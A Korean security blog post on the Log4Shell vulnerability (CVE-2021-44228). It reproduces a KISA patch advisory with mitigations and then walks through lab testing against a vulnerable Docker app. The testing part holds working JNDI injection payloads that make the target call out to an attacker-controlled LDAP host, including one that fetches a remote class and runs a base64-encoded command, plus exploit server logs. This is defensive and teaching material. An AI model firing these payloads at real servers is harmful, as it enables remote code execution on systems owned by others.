깐죽이의 정보 바다

전 세계 적으로 보안이슈가 있는 인기 있는 Apache Log4j 유틸리티(CVE-2021-44228)에 영향을 미치는 제로데이 익스플로잇이 2021년 12월 9일에 공개되어 원격 코드 실행(RCE)이 발생했습니다.

Log4j를 사용하는 모든 조직의 경우 가능한 한 빨리 버전 2.15.0으로 업데이트해야 합니다. 

 

이미지 출처 위키피아

 

KISA 인터넷 보호나라

□ 개요
 o Apache 소프트웨어 재단은 자사의 Log4j 2에서 발생하는 취약점을 해결한 보안 업데이트 권고[1]
 o 공격자는 해당 취약점을 이용하여 악성코드 감염 등의 피해를 발생시킬수 있으므로, 최신 버전으로 업데이트 권고
 
□ 주요 내용
 o Apache Log4j 2*에서 발생하는 원격코드 실행 취약점(CVE-2021-44228)[2]
   * 프로그램 작성 중 로그를 남기기 위해 사용되는 자바 기반의 오픈소스 유틸리티

□ 영향을 받는 버전
 o Apache Log4j 2
   - 2.0-beta9 ~ 2.14.1 모든버전
 o Apache Log4j 2를 사용하는 제품
    ※ 참고 사이트 [4]를 확인하여 해당 제품을 이용 중일 경우, 해당 제조사의 권고에 따라 패치 또는 대응 방안 적용
 
□ 해결방안[1]
 o 제조사 홈페이지를 통해 최신버전(2.15.0)으로 업데이트 적용[3]
   ※ log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전 업데이트 적용 권고

 o 최신버전으로 업데이트가 어려운 경우 사용중인 버전확인 후 버전별 조치 적용
  - (버전확인방법)
       1. log4j가 설치된 경로의 (pom.)파일을 열어 "log4j"로 검색
       2. 검색결과 "사용버전(version)" 확인가능
  - (조치방법) 2.0-beta9 ~ 2.10.0
      ※ JndiLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  - (조치방법) 2.10 ~ 2.14.1
      ※ log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정


□ 기타 문의사항
 o 한국인터넷진흥원 사이버민원센터: 국번없이 118

[참고사이트]
[1] https://logging.apache.org/log4j/2.x/security.html
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
[3] https://logging.apache.org/log4j/2.x/download.html
[4] https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

□ 작성 : 침해사고분석단 취약점분석팀

출처 : kisa 인터넷 보호나라

 

What is Log4shell?

Log4shell은 log4j2의 취약점인 CVE-2021-44228의 별칭으로 java에서 많이 사용되는 logger인 log4j에서 발생하는 RCE 취약점을 의미합니다.

해당 취약점에 관련된 재미있는 내용 하나는 CVE-2021-44228이 처음에 LogJam이란 이름을 붙였다가 Log4shell로 변경했다고 합니다. 왜냐면 LogJam은 예전부터 있었던 SSL 관련 이슈니깐요!

아파치 버전 확인

[root@localhost ~]# httpd -v
Server version: Apache/2.4.6 (CentOS)
Server built:   Nov 10 2021 14:26:31
[root@localhost ~]#

* Log4j 클래스를 사용하지 않는 아파치는 업데이트 안해도 됩니다.

 

Affected and Fixed

영향받는 버전과 대응방안/완화방안은 아래와 같습니다.

CVE CVE-2021-44228 (Log4Shell)
영향받는 버전 log4j 2.0 - 2.14.1
패치 버전 버전 log4j 2.15
완화 방법 2.10 이상: log4j2.formatMsgNoLookups=true
  2.10 미만: JndiLookup Class를 classpath에서 제거

일단은 패치가 있어서 다행이지 그래도 공격이 쉽고 우회 패턴도 있을거고, 취약 앱이 너무 광범위하게 사용되서 red team과 blue team 모두 긴밀하게 협업해서 대응이 필요할 것 같네요.

 

Real problem - Dependencies

진짜 문제는.. Dependencies입니다. 특히나 docker, k8s 등 이미지 기반의 서비스를 많이 사용할텐데 이를 모두 식별하고 대응하기는 정말 어렵습니다. 일단 지속적으로 추적하고, 업데이트 시키는게 최선일 것 같네요.

아 물론 지속적으로 보안 테스팅도 필요할 것 같습니다 😫 다행히 Burpsuite의 Active++에는 이미 적용되었고 Nuclei 템플릿 등 테스트를 위한 도구들이 금방 추가될거라 자동화만 잘 해두면 무리없을 것 같네요.

 

Links

참고용

 

Testing

Set vuln app

$ docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

docker

Detect

Payload 패턴

 

$ curl {TARGET} -H 'X-Api-Version: ${jndi:ldap://attacker_domain}'

 

테스트

curl -i -k http://localhost:8080 -H 'X-Api-Version: ${jndi:ldap://nrqzbmk2pt23zu6vkegfxks7em.odiss.eu}'
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Sat, 11 Dec 2021 14:50:50 GMT

Hello, world!%

 

Server log

INFO 1 — [nio-8080-exec-3] HelloWorld: Received a request for API version 
${jndi:ldap://nrqzbmk2pt23zu6vkegfxks7em.odiss.eu}

 

 

Callbacks

Callbacks

Exploit

${jndi:ldap://attacker_domain} 구문으로 인해 log4j가 JNDI(Java Naming and Directory Interface)를 통해 공격자 도메인으로 요청을 전송하게 되고 여기서 공격자가 JNDIExploit을 미리 준비해두었다면 결과적으로 code execution이 가능합니다.

 

$ curl -i -k localhost:8080 -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK}'

dG91Y2ggL3RtcC9oYWh3dWwK는 base64로 인코딩된 touch /tmp/hahwul 명령이며 공격이 성공하면 /tmp/hahwul 파일이 생성됩니다.

 

[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK
[+] Paylaod: command
[+] Command: touch /tmp/hahwul

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.0.24:49121  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
# 2b059fb3ef2d > ls /tmp/hahwul
/tmp/hahwul

다만 실제로 테스트하실 땐 직접 구축한 DNS를 사용해서 테스트하시는 것을 추천드려요. (Burpsuite collaborator, ZAP OAST 등 외부 서버에 접근 이력이 남기 때문에 혹시라도 악용될 여지가 있으니..)

 

 

출처 : HAHWUL
Security engineer, Developer and H4cker

반응형

공유하기

facebook twitter kakaoTalk kakaostory naver band shouturl